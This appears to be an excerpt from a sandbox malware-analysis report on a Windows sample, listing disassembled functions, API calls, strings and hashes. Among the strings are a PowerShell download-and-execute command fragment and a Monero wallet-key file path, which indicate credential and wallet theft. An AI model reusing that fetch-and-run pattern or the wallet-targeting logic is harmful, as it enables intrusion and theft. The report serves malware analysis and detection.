API String ID: 3225020163-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 00419311, 0041933D, 00419314
:A, xrefs: 004192F8, 004192FB

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
LocalFree.KERNEL32(0040148F), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00414780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0128DC88), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414801
lstrcat.KERNEL32(?,?), ref: 00414820
lstrcat.KERNEL32(?,?), ref: 00414834
lstrcat.KERNEL32(?,0127B2C0), ref: 00414847
lstrcat.KERNEL32(?,?), ref: 0041485B
lstrcat.KERNEL32(?,0128D058), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00401B54,?,?,0042564C,?,?,00420E1F), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: RtlAllocateHeap.NTDLL(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

')", xrefs: 00412CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
<, xrefs: 00412D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a0ed4cbfe93d0cc974da6044f8369c0878916f44a8cf608972f3da16a68e91da
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: a0ed4cbfe93d0cc974da6044f8369c0878916f44a8cf608972f3da16a68e91da
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 00409E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

@, xrefs: 00409EF1
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
v10, xrefs: 00409EA3
v20, xrefs: 00409E21

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 33a59d5addc8aa9e12ca9501259c5ecb4220475e1b0f145cbebf264129199f89
Instruction ID: e68f897518730e97829997f72da4e082462e263544c7bb15c137a409630237ad
Opcode Fuzzy Hash: 33a59d5addc8aa9e12ca9501259c5ecb4220475e1b0f145cbebf264129199f89
Instruction Fuzzy Hash: 57616130A00248EBDB14EFA5DD96FED7775AF40304F408029F90A6F1D1DB786A56CB5A

Function 004140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0128D398,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,0128DDD8,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcat.KERNEL32(?,00000000), ref: 00414147
lstrcat.KERNEL32(?,0128DBE0), ref: 0041415B

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
RtlAllocateHeap.NTDLL(00000000), ref: 00417E3E
RegOpenKeyExA.ADVAPI32(80000002,0127BA48,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.ADVAPI32(?,0128D3D8,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0128DA48,?,?,?,0041140C,?,0128DA48,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,0128DA48,0128DA48,?,0041140C,?,0128DA48), ref: 00419290
lstrlen.KERNEL32(?,?,0041140C,?,0128DA48), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004012B4
RtlAllocateHeap.NTDLL(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 0041C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0041C8EC
___crtLCMapStringA.LIBCMT ref: 0041C90C
___crtLCMapStringA.LIBCMT ref: 0041C931

Strings

, xrefs: 0041C896

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 0c12102a7cdd154f262930b871950fa552e11606a6e28a0f60d8dffc08638287
Instruction ID: 8b2bdcace91feebb35a4b118135bf4cb05f7e48c81c90e72df72044ccdfa8b16
Opcode Fuzzy Hash: 0c12102a7cdd154f262930b871950fa552e11606a6e28a0f60d8dffc08638287
Instruction Fuzzy Hash: B94127B154079C5EDB218B24CDC4FFB7BF89F05308F1444EEE98A86182D2759A85CF68

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
